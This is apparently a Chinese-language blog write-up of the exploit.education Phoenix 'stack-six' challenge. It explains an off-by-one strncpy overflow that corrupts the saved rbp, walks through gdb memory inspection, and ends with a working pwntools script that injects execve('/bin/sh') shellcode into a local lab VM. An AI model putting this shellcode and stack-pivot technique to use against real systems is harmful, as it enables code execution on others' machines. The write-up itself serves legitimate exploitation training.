BuringStraw

BuringStraw

[pwn筆記3]stack-six(phoenix)

聽說把這段寫進~/.gdbinit 裡面會讓棧的情況更加真實(在調試的時候)#

(參考https://n1ght-w0lf.github.io/binary exploitation/stack-six/

unset env LINES
unset env COLUMNS
set env _ /opt/phoenix/amd64/stack-six

然後這是本題源碼#

/*
 * phoenix/stack-six, by https://exploit.education
 *
 * Can you execve("/bin/sh", ...) ?
 *
 * Why do fungi have to pay double bus fares? Because they take up too
 * mushroom.
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *what = GREET;

char *greet(char *who) {
  char buffer[128];
  int maxSize;

  maxSize = strlen(who);
  if (maxSize > (sizeof(buffer) - /* ensure null termination */ 1)) {
    maxSize = sizeof(buffer) - 1;
  }

  strcpy(buffer, what);
  strncpy(buffer + strlen(buffer), who, maxSize);

  return strdup(buffer);
}

int main(int argc, char **argv) {
  char *ptr;
  printf("%s\n", BANNER);

#ifdef NEWARCH
  if (argv[1]) {
    what = argv[1];
  }
#endif

  ptr = getenv("ExploitEducation");
  if (NULL == ptr) {
    // This style of comparison prevents issues where you may accidentally
    // type if(ptr = NULL) {}..

    errx(1, "Please specify an environment variable called ExploitEducation");
  }

  printf("%s\n", greet(ptr));
  return 0;
}

理論#

其中 greet 函數有兩點錯誤:

  • strncpy 函數不會自動在末尾添加 \0,而 strdup 是根據 \0 來判斷結尾的

  • strncpy 的起始地址是 buffer + GREET 的長度,但複製長度確是 maxSize,導致了末尾有個跟 GREET 一樣長的區域可以溢出(好像減了 1)。

調試一下發現,覆蓋不到返回地址,但是可以覆蓋到壓進棧裡的 rbp 的最後兩位。

眾所周知(不知道的看這個https://zhuanlan.zhihu.com/p/27339191),進入函數時會執行:

call xxx
;相當於
;push $+1
;jmp xxx
push rbp
mov rbp, rsp
sub rsp, xxx

而函數返回時執行的

leave
ret

相當於

mov rsp, rbp
pop rbp
pop rip

當我們把 greet 函數棧裡面存著的(前)rbp 改為 x。

那麼*x就會變成 main 函數的棧底,*x+8就會變成 main 函數的返回地址。

理論存在,實踐開始#

gdb 調試一下,能改的範圍在:0x7fffffffe500~0x7fffffffe5ff

用這個命令看看這個範圍裡都有什麼東西

x/32xg 0x00007fffffffe500

順便確定一下我們輸入的東西在哪。(注意不在棧的範圍的東西不能要了(存疑),所以我們搜環境變量)

(gdb) grep ExploitEducation=
[+] Searching 'ExploitEducation=' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rwx
  0x7fffffffeee5 - 0x7fffffffef1c  →   "ExploitEducation=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"

去掉開頭,確定我們輸入的範圍

>>> hex(0xeee5+len("ExploitEducation="))
'0xeef6'
>>> hex(0xeee5+126)
'0xef63'

回到之前看的範圍(好像這樣寫順序不太對,不管了)

0x7fffffffe5c8裡正好是0x00007fffffffeef6,你說巧不巧

from pwn import *

shell = ssh("user", "localhost", password="user", port=2222)
shellcode = b'\x90'*20
shellcode += b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
shellcode += b"A"*(126-len(shellcode))+b'\xc0'

sh = shell.run("/opt/phoenix/amd64/stack-six", env={"ExploitEducation": shellcode})
print(sh.recvline())
sh.interactive()

好了。

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。